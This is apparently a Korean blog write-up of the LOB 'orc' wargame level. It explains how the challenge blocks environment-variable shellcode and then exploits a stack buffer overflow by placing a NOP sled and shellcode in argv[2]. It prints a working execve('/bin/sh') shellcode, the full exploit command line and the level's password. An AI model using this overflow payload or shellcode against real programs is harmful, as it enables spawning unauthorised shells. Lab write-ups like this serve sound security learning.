-
[LOB] goblinhacking 2021. 8. 25. 23:12
orc.c egghunter란게 생겼다
environ 값을 초기화하는 코드가 추가 되었다
environ 이 무엇인고 하니
한마디로 환경변수이다
이 부분을 사용해서 exploit을 하지 못하게 한 것이다
환경변수에 shellcode를 올리고 그쪽으로 ret를 돌려서 푸는 방법을 막는 의도인듯 싶다
한가지더 return addr이 stack segment여야 한다 (0xbf000000)
이를 고려하여 stack segment에 shellcode를 올리면 된다
argv도 스택 영역에 올리가는 값이다
고로 이쪽에 shellcode를 올려서 ret를 돌려보자
구해야 할 것
argv[2]의 addr
shellcode
argv addr argv[2]의 addr : 0xbffffbfe
shellcode : \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
./orc `python -c 'print "A" * 44 + "\xfe\xfb\xff\xbf" + " " + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
success orc / cantata
environ과 stack segment에 대해서 알 수 있었던 문제
shellcode는 남이 만든 25byte shellcode를 가져다 썼는데 shellcode 제작하는 방법에 대해 공부해보면 좋을 것 같다
(여러가지 종류의 shellcode들이 있는데 뭐가뭔지 아직 잘 모르겠다)
아 추가로 nop sled 기법도 사용하였다
이에 대해서도 간단히 적어보는 포스팅을 할 예정
'hacking' 카테고리의 다른 글
magic hash (0) 2021.08.27 [LOB] orc (0) 2021.08.26 [LOB] cobolt (0) 2021.08.24 [sstf2021] sqli102 (0) 2021.08.23 [sstf2021] sqli101 (0) 2021.08.22